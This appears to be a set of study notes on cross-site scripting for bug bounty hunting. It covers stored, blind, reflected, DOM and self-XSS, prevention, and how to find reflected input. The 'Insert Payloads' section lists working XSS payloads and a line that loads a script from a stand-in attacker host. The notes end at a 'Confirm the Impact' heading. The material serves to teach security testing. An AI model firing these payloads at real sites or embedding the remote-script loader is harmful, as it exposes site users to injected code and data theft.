There are multiple types of XSS attacks, each with their own different uniqueness .
Blind XSS Blind XSS vulnerabilities are stored XSS vulnerabilities whose malicious input is stored by the server and executed in another part of the application or in another application that you cannot see.
Reflected XSS Reflected XSS vulnerabilities happen when user input is returned to the user without being stored in a database. The application takes in user input, processes it server-side, and immediately returns it to the user, this type is usually non persistent
DOM-Based XSS DOM-based XSS is similar to reflected XSS, except that in DOM-based XSS, the user input never leaves the user’s browser. In DOM-based XSS, the application takes in user input, processes it on the victim’s browser, and then returns it to the user
a DOM-based XSS script doesn’t require server involvement, because it executes when user input modifies the source code of the page in the browser directly
Self-XSS attacks require victims to input a malicious payload themselves. To perform these, attackers must trick users into doing much more than simply viewing a page or browsing to a particular URL.
Prevention To prevent XSS, an application should implement two controls: robust input validation and contextual output escaping and encoding
Hunting for XSS Look for XSS in places where user input gets rendered on a page. The process will vary for the different types of XSS, but the central principle remains the same: check for reflected user input. If you’re attempting stored XSS, search for places where input gets stored by the server and later displayed to the user
If you’re hoping to find reflected and DOM XSS, look for user input in URL parameters, fragments, or pathnames that get displayed to the user. A good way to do this is to insert a custom string into each URL parameter and check whether it shows up in the returned page.
Step 2: Insert Payloads
There are many ways to create payloads other than the normal script tag, you can try <img> onload alerts, embedd javascript code in URL using base 64 encoding,
Documents contained within data: URLs do not need to be base64
encoded. For example, you can embed the JavaScript directly in the URL as
follows, but base64 encoding can often help you bypass XSS filters:
data:text/html,<script>alert('XSS by Vickie')</script>
<script>alert(1)</script> This is the most generic XSS payload. It will generate a popup box if the payload succeeds.
<iframe src=javascript:alert(1)> This payload loads JavaScript code within an iframe. It’s useful when <script> tags are banned by the XSS filter.
<body onload=alert(1)> This payload is useful when your input string can’t contain the
term script. It inserts an HTML element that will run JavaScript
automatically after it’s loaded.
"><img src=x onerror=prompt(1);> This payload closes out the previous tag. It then injects an
<img> tag with an invalid source URL. Once the tag fails
to load, it will run the JavaScript specified in the onerror
attribute.
<script>alert(1)<!– <!- is the start of an HTML comment. This payload will comment out the rest of the line in the HTML document to prevent
syntax errors.
<a onmouseover"alert(1)">test</a> This payload inserts a link that will cause JavaScript to execute after a user hovers over the link with their cursor.
<script src=//attacker.com/test.js> This payload causes the browser to load and run an external
script hosted on the attacker’s server.
XSS polyglot, a type of XSS payload that executes in multiple contexts. For example, it will execute regardless of what tag it’s inputed in.
There are lots of cheatsheets online for XSS payloads that you can utilize.
Step 3: Confirm the Impact